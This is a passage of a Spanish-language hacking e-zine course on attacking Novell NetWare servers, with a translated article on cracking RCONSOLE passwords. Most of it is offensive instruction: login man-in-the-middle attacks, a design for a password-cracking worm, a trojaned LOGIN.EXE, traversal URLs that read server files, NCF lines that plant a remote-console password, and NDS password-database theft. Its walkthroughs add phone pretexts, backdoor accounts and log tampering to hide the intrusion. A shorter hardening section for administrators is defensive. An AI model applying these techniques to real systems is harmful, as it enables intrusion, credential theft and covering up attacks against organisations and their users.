captura Y[b] de la
red en el momento que Alicia lo envia y lo trasmite al
server (utilizando su
direccion real). En este momento el server pensara que
Alicia ha intentado
hacer login dos veces. El intento de Bob sera un exito
y el de Alicia
fallara. Si todo va bien, Bob ha asumido la identidad de Alicia
sin conocer su
password y Alicia esta tecleando de nuevo su password.
Si el server no
permite al usuario conectarse dos veces simultaneamente o
aborta ambas
secuencias de login depues de recibir dos respuestas a la
misma pregunta,
entonces Bob saturaria la red (sin pararla) entre Alicia
y el server, mientras
Bob esta intentando conectarse como Alicia.
Para los
ultraparanoicos. Bob deberia ser cuidadoso, puede haber otro
atacante, Joe,
esperando a que Alicia haga login sin paquetes firmados.
Aqui Joe puede
tambien asumir la identidad de Alicia con mucho menos
esfuerzo.
Hablemos ahora de
NetWare 4.x
Se sigue la misma
tecnica hasta que Alicia intenta obtener la llave publica
del server. En este
momento Bob envia su propia llave publica a Alicia.
Esta enviara al
server el par (Y, R2) encriptado con la llave publica de
Bob. Este toma esta
informacion al vuelo, desencripta el par (Y,R2).
Entonces genera su
propia R2 (o guarda la de Alicia), toma la llave publica
real del server y
envia al server el par (Y, R2) encriptado con la llave
real publica del
server.
Si el server pide el
firmado de paquetes, el server enviara a Bob Z para
permitirle el acceso
como Alice. Bob no conoce la llave privada de Alice
ya que nunca la
recibio. Recordad que NetWare 4.x encripta la llave privada
RSA de Alicia con X'
que esta almacenada en el server y nunca la envia sin
encriptar. Por tanto
Bob no puede firmar los paquetes como Alicia.
Pero Bob no esta del
todo sin recursos. Puede intentar un ataque offline
en el momento de
hacer guess como Alicia ya que conoce Y', R y UID. Bob
necesita para
encontrar X, tal que Y=hash(X,R) = Y'. Ya que esto es casi
como la password de
Alicia no es particularmente buena idea, esto es una
severa reduccion en
la seguridad, pero no es una rutpura total, hasta que
Bob pueda calcular X,
encontrando una password tal que X=hash(pass, UID).
A partir del momento
que Bob conoce X, puede determinar cual es la llave
privada RSA de
Alicia. Entonces puede firmar paquetes.
Alicia puede
almacenar la llave publica del server para el segundo tentativo
de login y puede
darse cuenta de que esta pasando. Pero la RSA privada de
Alicia nunca cambiara
y una vez que se consiga esto, no hay problema, incluso
si Alicia cambia su
password. La password de Alicia puede ser descubierta de
nuevo.
---------------------------------------------------------------------------
11-3. Ataques con
virus
Un virus podria
permitir a un atacante lograr el acceso a un gran numero de
servidores
disponibles en una red, utilizando la estrategia del gusano de
Internet de 1988,
combinado con una estrategia sencilla de virus, se puede
construir un virus
capaz de infectar muchos servidores/clientes en muchas
redes (El virus
podria incluso emplear ataques similares a Hack.exe o
incluso el ataque
MITM de la seccion 11-2
Algunas redes NetWare
tiene un gran numero de servidores conectados.
Tambien es cierto que
muchos usuarios (Incluyendo Super y Admin) utilizan
el mismo password en
diversos servers (algunos incluso sin password).
Un virus puede
explotar esta vulnerabilidad y extenderse a otros servers
en principio
inacesibles. El virus podria utilizar el idle time de la CPU
en clientes
infectados para crackear los passwords de otros usuarios.
Sin embargo, se debe
de tener cuidado para no disparar el intruder detection.
El virus deberia
seleccionar de forma aleatoria un usuario de un server al
azar, intentar
conectarse utilizando una palabra de una lista de palabras
La frecuencia con la
que el cliente deba intentar conectarse depende del
tama~o de la red
(recuerda que si el virus tiene exito, pueden haber
miles de clientes
intentando romper passwords en paralelo).
El virus deberia
estimar el tama~o de la red y usar leyes de probabilidad
para determinar la
frecuencia de los tentativos en cada cuenta. Se puede
calcular relacionando
el numero de cuentas, el numero de clientes (estimado
mediante monitorizacion
del trafico de la red y asumiendo que todos los
servers tienen el
mismo numero de clientes). A pesar de que esto no es
cierto al 100%, es
suficientemente preciso para nuestras propositos.
Algunos de los ratios
de calculo de exito del virus (medido en terminos
de host infectado por
dia desde un unico host) y del tiempo que el virus
ha estado en marcha.
Siendo :
A = Numero de cuentas
P = Propagacion
n = Numero de dias de
funcionamiento del virus
( A * 24 ) / Pn = numero de conexiones por cliente
Que deberia hacer
este virus ? Si esta trabajando en una estacion de trabajo
con tarjeta de red,
podria capturar logins. Ya que R y hash(X,R) se envian
en texto (ver seccion
11-01), el virus podria intentar un calculo offline
contra X, para evitar
un ataque de fuerza bruta que podria hacer saltar las
alarmas del intruder
detection. El virus no puede usar el ataque MITM en la
secuencia del login
porque no se dispone de la topologia necesaria para
implementar el
ataque. Si, podrias intentarlo y construirlo pero saldria
demasiado grande y
notorio. Recuerda, estamos hablando de virus, no de
aplicaciones que
trabajan solas.
---------------------------------------------------------------------------
11-4. Puede
insertarse un LOGIN.EXE falso durante el proceso de login ?
Aparentemente si.
He aqui una secuencia
de login que es comun a todas las versiones de NetWare.
1.-La estacion de
trabajo se conecta al server.
2.-Se mapea un drive
al directorio del server SYS:\LOGIN
3.-La estacion de
trabajo, baja LOGIN.EXE desde el server y lo ejecuta.
4.-Si el usuario es
aceptado, la estacion de trabajo baja y ejecuta el
el login script.
El fallo en este
protocolo esta cuando la estacion de trabajo baja LOGIN.EXE.
Como el usuario no
esta autentificado, no es posible el envio de paquetes
firmados, por tanto
cualquier estacion es capaz de hacerse pasar por el
server. Aqui el
atacante puede "sniffar" la peticion de login desde la red,
y enviar a la
estacion de trabajo cualquier programa.
El ataque optimo
seria enviar una copia modificada del LOGIN.EXE real. El
EXE modificado podria
encriptar el password del usuario (utilizando la llave
publica) y publicarlo
en la red. Tambien podria, el EXE modificado, cargar
el LOGIN autentico y
ejecutar el login script. Con este ataque, el usuario
objetivo no tiene
forma de saber que algo raro ha ocurrido. Parece que
NetWare siempre
empieza con el numero de secuencia 0 y la incrementa en +1
hasta el final de la
sesion. Esto hace posible predecir el numero de secuencia
permitiendo al
atacante explotar el agujero sin utilizar un ataque MITM y
todavia permitir la
conversacion normal.
El ataque es posible
contra cualquier server en la red que pueda ser
husmeada buscando
peticiones de login. Es posible hacerlo si la
estacion de trabajo y
el server estan en la misma red (y si el server es mas
lento respondiendo
que el atacante). Aqui el hacker solo lanza el numero de
secuencia, y envia a
la estacion de trabajo un LOGIN.EXE que publicara el
password del usuario
(encriptado) a traves de la red y despues re-boot de la
maquina (es posible
que el atacante deje hacer log al usuario y hacer al ataque
transparente para la
victima).
En este caso el
atacante deberia capturar uno de los paquetes del server y
reenviarlos a la
estacion de trabajo con la proximo numero de secuencia de
forma que el proximo
ACK se sincronizara con el numero de secuencia del server
El atacante debera
hacer ACK artificialmente los paquetes que el server envia
cuando el cliente
intenta bajar el LOGIN.EXE
Esta establecido que
solo los primeros bytes de los paquetes de NetWare
estan firmados. Esto
significa que el usuario no solo puede modificar LOGIN
al vuelo, sino que
puede modificar cualquier programa al vuelo.
Veamoslo de cerca. El
programa podria tomar la direccion MAC de un admin como
parametro, esperar a
que el usuario intente hacer login, explotar el host y salir.
Si el atacante no
quiere tomarse la molestia de continuar la conversacion,
puede hacer que el
host rearranque automaticamente despues de publicar la
password a traves de
la red.
No es necesario
explotar un gran numero de hosts, solo desde los que el admin
de la red se conecte.
Normalmente es un peque~o subset de la red.
La idea viene de un
conocido agujero en NFS de UNIX (que se explota de la
misma forma). Pero
NetWare se supone que evito este problema con la firma de
los paquetes.
Obviamente no fue asi. Este agujero se explota con el mismo
principio que el que
utiliza HACK.EXE
Desde luego, esto
permite ejecutar cualquier programa en cualquier maquina.
Las posibilidades
solo estan limitadas por tu imaginacion. Por ejemplo, un
virus que se extienda
con LOGIN.EXE y deje el codigo para descifrar la llave
privada de cada
estacion de trabajo.
Ahora el ataque MITM
no requiere aprovechar ningun elemento de este tipo
de ataque si el
atacante es capaz de predecir el numero de secuencia del
server. Tendria los
siguientes efectos :
1.-El atacante no
necesita capturar ningun paquete del server para sincronizar
el numero de la secuencia.
2.-El atacante no
necesita responder artificialmente a un ACK del
server.
3.-El ataque MITM no
necesita modificar ningun programa al vuelo. Cualquier
PC puede implementar el ataque.
---------------------------------------------------------------------------
11-5. Vulnerabilidad
durante el cambio de password.
NetWare 3.x no
utiliza la llave criptografica que usa NetWare 4.x, por tanto
transmitir un
password a traves de la red durante un cambio, tiene que
encriptarse con algo.
El nuevo password tiene que ser encriptado con el
password antiguo. Sin
embargo si el password antiguo es blanco (cuenta nueva)
la llave para
encriptar produce un texto sin encriptar.
---------------------------------------------------------------------------
11-6. Es posible el
"data diddling ?
El esquema de
validacion de NetWare comprende una firma de paquetes y un
checksum. Sin embargo
si el checksum incluye una firma de paquetes EN TEORIA
es posible utilizar
esta informacion en combinacion con otro problema para
falsear el dato.
El otro hecho es que
la firma de paquetes solo usa los primeros 52 bytes,
lo que significa que
cualquier dato a partir del byte 89 puede alterarse
y generar un nuevo
checksum, y si el paquete tiene firma valida y checksum,
pueden falsearse los
datos.
Desde luego, ello
asume que un atacante puede escribir codigo que puede hacer
cosas interesantes
entre el byte 89 AND generar un checksum AND retransmitir el
paquete AND devolver
el paquete original a su destino.
[Dificil?]
Asumiendo que el
checksum pueda determinarse, especialmente si estas vigilando
un origen especifico,
es una posibilidad.
===========================================================================
Seccion 12
IntranetWare e
Internet
---------------------------------------------------------------------------
12-1. Seguridad del
server web de NetWare
Dicho server tiene un
bug enorme. Los scripts CGI son programas en BASIC...
si... estas a punto
de hackear un server en basic. Algunos de ellos se
incluyen en el
server. Uno en particular, CONVERT.BAS, transforma los
archivos HTML y los
envia al usuario.
Ejemplo, suponiendo
un objetivo llamado www.target.com, el mandato
http://www.target.com/scripts/convert.bas?readme.txt
devuelve el archivo
readme.txt como HTML.
Bien,....pues he aqui
el bug
http://www.target.com/scripts/convert.bas?.../../cualquier_archivo_en_sys
Bonito,...no? Yo
recomendaria empezar por
http://www.target.com/scripts/convert.bas?.../../system/autoexec.cnf
o tambien es una
buena idea intentar
http://www.target.com/scripts/convert.bas?.../../etc/ldremote.ncf
Volver a leer el
capitulo 06-2 y se os ocurriran algunas ideas....
El problema ha sido
fijado en las ultimas versiones de IntranetWare.
---------------------------------------------------------------------------
12-2. Algunas
historias con el FTP NLM de NetWare
Con IntranetWare, el
FTP NLM tiene un par de problemas. La instalacion
standard da derechos
de Read y File Scan al SYS:ETC, lo que permite a
usuarios anonimos
acceder a los archivos de este directorio. Este es un
problema si utilizas
INETCFG para configurar RCONSOLE y no vuelves y
encriptas la password
en el archivo.
El password de la
comunidad SNMP esta en este directorio, para no decir
nada de protocolos,
directorios y otras informaciones de configuracion.
El Admin puede
eliminar estos derechos, pero.....que pasa con GUEST ?
Si lo hacemos, se
elimina la posibilidad de hacer login como tal.
El otro problema en
NetWare 4.1 con FTPSERV.NLM, es que algunos usuarios
que se conectan via
FTP, tienen excesivos derechos. Parando y arrancando
el NLM parece que los
derechos retornen a los valores originales, pero
despues parece que
retornan a FULL.
Dicen que si se
utiliza el FTP Fetch, esto ocurre siempre.
A pesar de que es
posible chequear los derechos reales, en el bindery via
SYSCON y ademas con
UNICON, lo cierto es que el paquete 4.1 es vulnerable.
No estoy seguro si
4.11 lo es, pero apostaria que si. El problema ?, si no
se utiliza el espacio
del archivo NFS, algunos clientes FTP como Fetch y
CUTE, pueden acabar
con derechos Super en el volumen.
---------------------------------------------------------------------------
12-3. Ataques de un
server IntraNetWare desde Internet
Este tipo de ataques
son posibles. He estado trabajando en condiciones de
laboratorio y lo he
conseguido. Sin embargo se requiere un monton de
condiciones. Pero no
son condiciones descabelladas.
Primero, se utilizan
las tecnicas descritas en los apartados 12-1 y 12-2.
Por ejemplo, si un
CGI scrip esta mal escrito y permite acceso de escritura
en el server y puede
ser redireccionado, se pueden a~adir lineas a los
archivos NCF.
Por ejemplo, imagina
que un scrip CGI a~ade una linea de texto en un archivo
por ejemplo una lista
de mailing. Si el scrip se puede redireccionar,
a~adiendo algunas
lineas al
SYS:ETC\LDREMOTE.NCF
o al
SYS:SYSTEMAUTOEXEC.NCF
te puede dar acceso
total.
Ejemplos de lineas
a~adir :
UNLOAD REMOTE
LOAD REMOTE HACKPASSWORD
LOAD XCONSOLE
Ahora simplemente
haciendo telnet al server, utilizando "HACKPASSWORD", y
utilizando VT-100,
puedes acceder a la consola despues del proximo reboot.
No puedes hacer
telnet a traves de un firewall ? A~ade los comandos al
archivo NCF para
simplemente UNLOAD ! Puedes cargarlos despues de que has
ganado acceso, si
quieres.
---------------------------------------------------------------------------
12-4. Robos de
archivos de password como en Unix y Windows NT
Sorprendentemente
..... es posible. Si has accedido via las tecnicas
anteriormente
explicadas, puedes robar el archivo de password. Novell ha dicho
publicamente que no
es posible, pero se ha hecho en condiciones de laboratorio.
Primero de todo, los
archivos NDS estan en el directorio SYS:_NETWARE. Desde
luego debes lograr
tener acceso .... pero hay un par de formas de hacerlo.
Vuelve a leer la
seccion 06-15. En caso de que el administrador haya eliminado
NETBASIC, y no puedas
bajarte archivos tales como JCMN.NLM, todavia no estas
vencido. Como se dijo
en alguna parte de este FAQ, mediante BINDFIX en
NetWare 3.x se obtiene
una copia de los archivos bindery en SYS:SYSTEM.
Para hacer lo mismo
en 4.11, es necesario lanzar la utilidad equivalente
desde la consola. Y
es muy facil de hacer.
- Si es posible espera hasta que nadie este
conectado, porque se notara.
Durante el proceso nadie podra conectarse,
a pesar de que los usuarios
conectados no notaran nada.
- UNLOAD CONLOG
- LOAD DSMAINT
- Escoge la opcion para preparar un upgrade.
- Este proceso crea un backup completo de los
NDS y los login scripts
y los pone en el SYS:SYSTEM
El archivo se llamara BACUP.DS. Utiliza
FTP.NLM para robarlo.
===========================================================================
Seccion 13
Solo para
administradores
---------------------------------------------------------------------------
13-1. Como volver
seguro un server
Esta pregunta la
hacen los administradores, y estoy seguro que ningun hacker
leera esta
informacion y se enterara que su admin piensa impedir los ataques
de los hackers !
Hay una cosa que se
debe tener en cuenta, la mayor parte de los ataques
vienen de un empleado
de la propia compa~ia, no de fuera. Sus intenciones
pueden ser acceder a
archivos personales, copiar y vender secretos de la
compania, estar
disgustado y pretender causar da~os, o dar patadas o alardear
de tener muchos
derechos. Por tanto, no confies en nadie,.......
<Comentario>
Estoy totalmente de
acuerdo.
Los ataques pueden
estar motivados por muchas causas, pero sin duda cuando
empiezas con
algo,....siempre se empieza por lo que se tiene mas a mano,...
despues, tal vez se
ataque al server del banco vecino,... pero esto tardara
un poco
<Fin
comentario>
ASEGURA FISICAMENTE
EL SERVER
Esto es lo mas
simple. Manten el server bajo llave. Si el server esta en un
sitio donde hay un
centro de datos, situalo en la misma habitacion y
tratalo commo si
fuera la caja fuerte. El acceso al centro de datos debe estar
controlado
minimamente con llave de acceso, preferentemente con algun tipo de
tarjeta magnetica que
pueda ser trazada. En grandes almacenes, una trampa humana
(gorila,
pistolas,...) es muy deseable.
Si el server tiene
llave, utilizala y limita el acceso a la llave. Controla el
floppy. Conozco un
sitio donde monitor y CPU estan separados por un vidrio, de
forma que teclado y
floppy no son accesibles por la misma persona al mismo
tiempo.
Si solo cargas NLMs
desde el directorio SYS:SYSTEM, utiliza el SECURE CONSOLE
para evitar que
puedan ser cargados desde un floppy. Un hacker podria cargar
un floppy y lanzar
desde el diversas utilidades para lograr acceso al server.
O hacer un
backup,.... o simplemente pararlo !.
Asegurando
fisicamente el server, puedes controlar quien tiene acceso a la sala
del server, quien
accede al floppy, a las cintas de backup, y a la consola.
Esto simplemente elimina
el 75% de los ataques.
ASEGURA LOS ARCHIVOS
IMPORTANTES
Almacenalos off-line.
Deberias hacer copias de STARTUP.NCF y de AUTOEXEC.NCF.
Tambien del bindery
de los archivos NDS. Todos los System Login Scripts,
Container Scripts y
cualquier Login Scrip. Cuidado con los Login Scrip de
pasarelas de e-mail,
maquinas backup,.....
Haz una lista de NLMs
y de sus versiones, y una lista de archivos situados
en SYS:LOGIN,
SYS:PPUBLIC, SYS:SYSTEM.
Revisa periodicamente
el contenido y que nada haya cambiado. Si alguien cambia
un archivo (por
ejemplo el LOGIN.EXE de itsme) puede llegarse a tener acceso
al server entero. Es
posible para el hacker alterar los NCF o los Login Scripts
para sortear la
seguridad o para abrir agujeros para posterior ataque.
HAZ UNA LISTA DE
USUARIOS Y DE SUS ACCESOS
Utiliza alguna
herramienta como Bindview o GRPLIST.EXE (utilidades JRB) para
obtener una lista de
usuarios y grupos (incluyendo los miembros de los grupos).
Mantenlo al dia y
comprueba con frecuencia.
Utiliza Security (Desde
el directorio SYS:SYSTEM) o GETEQUIN.EXE de JRB
Utilities para ver
quieen tiene acceso de Supervisor. Busca cuentas extra~as con
acceso de Super como
GUEST o PRINTER. Tambien es buena idea mirar la asignacion
de derechos y
asegurarse que los accesos estan al minimo. Comprueba que los
accesos no sean
demasiado elevados en ninguna area, o utiliza TRSTLIST de JRB
Utilities.
Secirity te dara
errores extra~os si SUPER.EXE ha sido utilizado. Si no has
utilizado SUPER.EXE,
borra cualquier cuenta que de errores en el chequeo del
Bindery, sobre todo
si BINDFIX no es capaz de conseguir que las cuentas se
comporten de forma
normal. Si un hacker ha instalado un backdoor utilizando
SUPER.EXE.
seguramente habra instalado otros caminos para colarse de nuevo.
VIGILA LA CONSOLA
Utiliza CONLOG.NLM
para chequear la actividad de la consola. Es una excelente
herramienta de
control cuando los mensajes de error borran los mensajes antiguos.
No veras lo que ha
sido tecleado en la consola, pero las respuestas del sistema
quedaran registradas
en SYS:ETC\CONSOLE.LOG. Cuando esto no funcione en grandes
establecimientos con
usuarios imposibles de recordar, piensa en utilizar
SECUREFX.NLM (o
SECUREFX.VAP para 2.x) Esta utilidad muestra el siguiente
mensaje cuando ha
habido una rotura de la seguridad.
"Rotura de
seguridad contra estacion XXXXX DETECTADA"
Tambien escribira en
log, con el mensaje
"Conexion
TERMINATED para prevenir roturas de seguridad"
INSTALA ACCOUNTING
A partir del momento
que Accounting esta en marcha, se puede monitorizar cada
login y logout,
incluyendo los tentativos fallidos.
NO UTILICES LA CUENTA
SUPERVISOR
Dejar la cuenta
Supervisor conectada es una invitacion al desastre. Si no se
utiliza la firma de
paquetes, alguien puede utilizar HACK.EXE y conseguir
acceso al server como
Supervisor. Hack falsea los paquetes para aparentar que
vienen del Supervisor
y hace Super equivalentes al resto de usuarios.
UTILIZA PAQUETES
FIRMADOS
Para prevenir el
falseamiento de identidad (HACK.EXE)fuerza la firma de paquetes.
A~ade la siguiente
linea en tu AUTOEXEC.NCF
SET NCP PACKET
SIGNATURE OPTION=3
Esta sentencia obliga
a los clientes a firmar los paquetes. Los clientes que no
soportan esta opcion
no podran conectarse,....no te queda otra opcion que el
upgrade,...
UTILIZA RCONSOLE
RARAMENTE (MEJOR NUNCA)
La utilizacion de
RCONSOLE te hace vulnerable a los sniffer con la consiguiente
posibilidad de
robarte la password. A pesar de que esto esta normalmente por
encima de la
capacidad de los usuarios normales, en Internet podemos encontrar
programas DOS que
configuran las tarjetas de red en modo promiscuo y capturan
cualquier paquete de
red. La encriptacion no es un metodo a toda prueba.
Recuerda que no se
puede detectar un sniffer. No utilices un switch para
limitar la password
de RCONSOLE a la password del Super. Todo lo que haras es
hacer igual la
password al switch. Si utilizas la linea
"LOAD REMOTE
/P="
la password del Super
tomara este valor ("/P="). Ademas ya que la password del
RCONSOLE queda
escrita en el archivo AUTOEXEC.NCF, utiliza un caracter no
imprimible o un
espacio en blanco al final del password.
Y recuerda que a
pesar de que utilices las tecnicas de encriptacion se~aladas
en 02-8, tu server
sera siempre vulnerable al sniff.
DESPLAZA TODOS LOS
ARCHIVOS NCF A UN LUGAR SEGURO
Pon el archivo
AUTOEXEC.NCF en el mismo sitio que el archivo SERVER.EXE
Si el server es
atacado con exito y un intruso accede al directorio SYS:SYSTEM
al menos habras
protegido el AUTOEXEC.NCF
Un truco sencillo
consiste en colocar un falso AUTOEXEC.NCF en SYS:SYSTEM con
un falso password
para RCONSOLE (... y otras cosas). Todos los otros archivos
NCF deben colocarse
en el disco C:
Recuerda que los NCF
se lanzan como si fueran tecleados directamente desde
la consola.
UTILIZA LA OPCION
FILE SERVER CONSOLE
Incluso si la
password de RCONSOLE y del Super se descubre o fisicamente se
gana acceso al
server, una password hard en la consola parara a los que quieran
acceder a ella.
A~ADE EXIT AL FINAL
DEL SYSTEM LOGIN SCRIPT
A~adir Exit, controla
hasta cierto punto lo que hace el usuario.
ACTUALIZA A NETWARE
4.11
A pesar de que hagas
una tonelada de ventas a Novell y que los hagas muy
felices, pararas la
mayor parte de los ataques que se describen en este FAQ.
Los mejores hackers
son de 3.11
Si no quieres pasar a
NDS y 4.x, como minimo actualiza a 3.12
CHEQUEA LA UBICACION
DE RCONSOLE
En 3.11 RCONSOLE se
encuentra en SYS:SYSTEM por defecto. EN 3.12 y 4.1 se
encuentra en
SYS:SYSTEM y SYS:PUBLIC Elimina RCONSOLE de cualquier sitio
donde por defecto se
tenga acceso.
ELIMINA [PUBLIC] DE
[Root] EN EL DNS DE 4.1
Elimina de [Public]
Trustee la lista de Trustees de los objetos de [Root]
Cualquiera, incluso
sin conectarse, puede ver todos los objetos en el arbol
dando al intruso una
lista completa de nombres de cuentas validas.
NO UTILICES LOS FTP
NLM DE NOVELL
....hasta que no
hayan sido modificados, ya que tienen algunos problemas.
Solo utilizalos si
puedes usar nombres NFS. Para los paranoicos, utiliza
un NLM third party.
Solo se han encontrado problemas en los de Novell.
---------------------------------------------------------------------------
13-2. Soy un
idiota,...Exactamente como pueden atacarme los hackers.
Usaremos esta seccion
como ejemplo de como estas tecnicas pueden utilizarse
conjuntamente para
alcanzar acceso tipo Super en el server objetivo. Estas
tecnicas muestran
otra cosa que ayuda en el hacking..... la ingenieria social.
EJEMPLO No 1
Imaginemos que la
gente de soporte tecnico estan conectadas para soporte
tecnico de madrugada.
Llama y hazte pasar por vendedor de productos de
seguridad y pregunta
por alguien se soporte tecnico. A la persona que se
ponga le dices que
estas buscando referencias, pregunta por productos de
conexion. Llama al operador
y preguntale por el numero de ayuda. Llama al
numero de ayuda y
pregunta por el numero de conexion, haciendote pasar por
la persona de soporte
tecnico. Dile que tu PC esta roto y has perdido el
numero de conexion.
Conectate con dicho
numero e intenta logins y passwords sencillos para
software de conexion.
Si no te puedes conectar llama a la ayuda, especialmente
si hay otros usuarios
de conexion remota. Graba en el server el LOGIN.EXE y
PROP.EXE (de itsme) y
edita AUTOEXEC.BAT para lanzar tu LOGIN localmente.
Cambia el nombre de
PROP.EXE a IBMNBIO.COM y hazlo invisible.
Despues de editar
AUTOEXEC.BAT cambia la fecha para que refleje la original.
Conectate mas tarde,
vuelve PROP.EXE a su nombre original y lanzalo, obtendras
cuentas y passwords.
EJEMPLO No 2
Carga un sniffer,
llama al admin y dile que tienes un FATAL DIRECTORY ERROR
cuando intentas
acceder al server. Normalmente intentara usar RCONSOLE para
ver el server y los
paquetes que envie los podras capturar. El evidentemente
no vera nada raro
(hazte el loco....)
Estudia los datos
capturados y usa RCON.FAQ para obtener el password de RCONSOLE
Conectate como GUEST,
crea un subdirectorio SYSTEM en cualquier directorio de
SYS Mapea un drive al
nuevo SYSTEM, copia RCONSOLE.* en el y lanzalo. Intenta
desconectar CONLOG y
carga BURGLAR.NLM en el SYS:SYSTEM real.
Crea un usuario Super
(i.e. NEWUSER) y teclea CLS para limpiar la pantalla del
server. Conectate
como NEWUSER. Borra BURGLAR.NLM el directorio SYSTEM y su
contenido y lanza
PURGE para borrar todo definitivamente. Desconecta Accounting.
Da a GUEST derechos
de Super. Oculta los derechos de NEWUSER con SUPER.EXE.
Lanza FILER y toma
nota de los datos de SYS:ETC\CONSOLE.LOG (Si CONLOG esta
cargado) tambien del
archivo SYS:SYSTEM\SYS$ERR.LOG. Edita SYS:ETC\CONSOLLE.LOG
y elimina toda
actividad de BURGLAR.NLM y de RCONSOLE. Lo mismo para SYS$ERR.LOG
Salva los archivos y
con FILER dale los datos de antes. Lanza PURGE. Conectate
como GUEST y esconde
sus derechos con SUPER.EXE Quitale sus derechos a NEWUSER.
Conectate como
NEWUSER con SUPER.EXE y quitale a GUEST sus derechos. Finalmente
te conectas como
GUEST y conecta Accounting si lo estaba al principio.
Conclusion. Has
creado una puerta trasera en el sistema que no quedara reflejada
como algo raro en
Accounting log. Conectate como GUEST utilizando SUPER.EXE y
desconecta
Accounting. Desconectate y entra como NEWUSER con SUPER.EXE, haz lo
que tengas que hacer
(cubriendo con FILER tu actividad) y desconectate. Entra
de nuevo como GUEST y
desconecta Accounting. El archivo NET$ACCT.DAT solo
mostrara una entrada
de GUEST seguida de su salida.
EJEMPLO No 3
Busca en la red
DSMAINT.NLM y bajatelo. Utilizando Ftech, accede al server de
Novell InterNetWare
FTP.NMRC.ORG Descubriras que tienes acceso total al volumen
SYS. Graba
DSMAINT.NLM en SYS:SYSTEM, graba y edita LDREMOTE.NCF Este archivo
graba CONLOG.NLM,
graba y recarga REMOTE.NLM con un password de tu eleccion
y carga XCONSOLE.NLM
Despues de rearrancar
el server (asitido con un flujo de SYN para provocar un
overload de los
buffers) la password del remote console ha sido reseteada a
una de tu eleccion.
Telnet a FTP.NMRC.ORG
y utiliza tu password. Si tu maquina soporta XWindows,
puedes usarla, sino
con VT-100 crearas menos trafico en la red.
Carga DSMAINT.NLM y
selecciona la opcion Prepare for Upgrade. Se vera un
poco raro debido a
VT-100, pero en pocos minutos, terminara. El proceso
DSMAINT creara
BACKUP.DS en SYS:SYSTEM.
Utiliza Fecth para
copiarlo. Este archivo contiene todos las cuentas y sus
passwords. Estan
encriptados pero esto no es una dificultad insalvable.
Solo tienes que hacer
un brute force off-line.
-[ 0x0E
]--------------------------------------------------------------------
-[ CURSO DE NOVELL
NETWARE - APENDICES I & II ]------------------------------
-[ by MadFran
]-------------------------------------------------------SET-20-
---------------------------------------------------------------------------
Apendice 1 - Codigos
Fuente y otra Documentacion
A-01. RCONSOLE
Articulo de Hacking
Este articulo
aparecio en el numero del verano/96 del 2600 Magazine
---------------------------------------------------------------------------
RCONSOLE Hacking by
Simple Nomad (Traduccion madfran)
Hay muchas
Universidades y companias que utilizan Netware de Novell. A pesar
del avance en el
mundo de sistemas como Unix y Microsoft NT, Novell todavia
tiene un 60% del
mercado (.... esto se escribia en el verano del 96....)
Las otras plataformas
estan, ahora, alcanzando los rendimientos de Netware
, muy rapido y con
servicios de archivo e impresion, muy dignos de
confianza. Esto
significa que para los hackers profesionales (si,... existen,
y se llaman a si
mismos guerreros de la informacion), el conocimiento de
Netware es critico.
Mucha informacion de empresas, hojas de calculo, memos
secretos, listas de
password, numeros de entrada y salida, cuentas bancarias,
y procedimientos de
transferencias y muchas cosas mas estan almacenadas en
archivos en sistemas
Netware en todo el mundo.
En este articulo, intento
explicar como extraer la password de RCONSOLE desde
un sniffer para
conseguir el acceso a la consola de un server Netware Novell.
Mientras las
versiones 3.x y 4.x emplean tecnicas de encriptado y firma de
paquetes para hacer
login, RCONSOLE (Consola remota) utiliza una unica
password para lanzar
una sesion remota a la consola del server, permitiendo
a un administrador
teclear comandos como si estuviera frente a la consola.
Debe decirse que a
pesar de que la version actual de Netware es la 4.1, y
esta tecnica solo
funciona en redes 3.x, la mayor parte de las redes todavia
trabajan en 3.x y
encima las que se han pasado a 4.1, siempre conservan por
diversas razones,
algun servidor 3.x Tipicamente en Universidades y grandes
corporaciones, es mas
facil para el personal de mantenimiento, sincronizar
la password para
todos los servidores. Por tanto, es posible atacar al
eslabon mas debil de
la cadena, para conseguir acceso a un server 4.1
Este articulo asume
que se tienen conocimientos basicos de Netware, sin
embargo quiero
clarificar algunos conseptos basicos acerca de la seguridad.
Elemento basicos de
seguridad
-----------------------------
Hay cinco niveles de
seguridad en Netware a nivel de archivos :
1. NO CONECTADO. Todo
lo que se necesita es una conexion al server, no hace
falta que hayas hecho login. Este nivel de
acceso permite correr comandos
de tipo simple, como LOGIN.EXE, SLIST.EXE y
basicamente cualquier utilidad
que se encuentre en el directorio
SYS:LOGIN.
2. CONECTADO. Acceso
basico controlado a traves de Trustee Rights.
(Administrador de Derechos)
3. ACCESO DE
OPERADOR. Los operadores tienen acceso basico y pueden controlar
las colas de impresion y utilizar algunos
comandos especiales que se
incluyen en FCONSOLE.
4. ACCESO DE
SUPERVICOR. Aceeso total al sistema. Es el acceso mejor guardado
puedes alcanzar cualquier archivo del
sistema, administrar y controlar
cualquier aspecto desde accesos de usuarios
a configuracion de la seguridad.
5. ACCESO AL SISTEMA
OPERATIVO. Este es el nivel de acceso en el que se
ejecutan los procesos en el server. La
mayor parte de los comandos tecleados
desde la consola se ejecutan a este nivel,
y si puede que no te permite el
nivel de detalle que tienes como
Supervisor, ciertamente te abre la puerta
para conseguir sus derechos.
Los NLM (Network Loadable Modules) son
programas que si son cargados desde
la consola, forman parte del sistema
operativo. Algunos permanecen residentes
otros se descargan ellos solos una vez han
cumplido su cometido.
Aqui hablaremos de un
punto debil de Netware, el acceso remoto a la consola.
Mientras que Novell
ha hecho un esfuerzo enorme en proteger la seguridad en
los niveles 1 a 4,
RCONSOLE esta protegido con una simple password con
encriptacion simple,
que puede romperse con facilidad. Una de mis herramientas
preferidas es
RCON.EXE. Esta utilidad, escrita por itsme de Holanda (autor
de HACK.EXE,
KNOCK.EXE y otras famosas herramientas), te permite, a partir
de informacion
sniffada durante el proceso de inicializacion de una sesion
de RCONSOLE, romper
la encriptacion de la password.
Una vez tienes la
password de RCONSOLE, puedes emplear otras tecnicas para
alcanzar derechos de
supervisor.
En mi opinion, la
parte mas dificil, es acceder a los datos del proceso de
inicializacion. La
mayor parte de la informacion de este articulo se refiere
a items tecnicos
basados en hechos predicibles y repetitivos. Pero capturar
los datos usando un
sniffer puede ser bastante dificil. Estan en juego
tres factores :
- Accesibilidad.
- Disponibilidad.
- Tiempo.
Accesabilidad
-------------
Debes tener acceso a
la red. Especificamente, necesitas acceder en el segmento
del server o en el
segmento de la victima, de otra forma jamas podras oir la
conversacion. A pesar
de que es posible acceder en el segmento a traves del
cual pasa el trafico,
es mejor situarse en el segmento de la victima. La mejor
forma es conectarse
en el server al cual se conecta la victima y teclear
USERLIST /A. Del
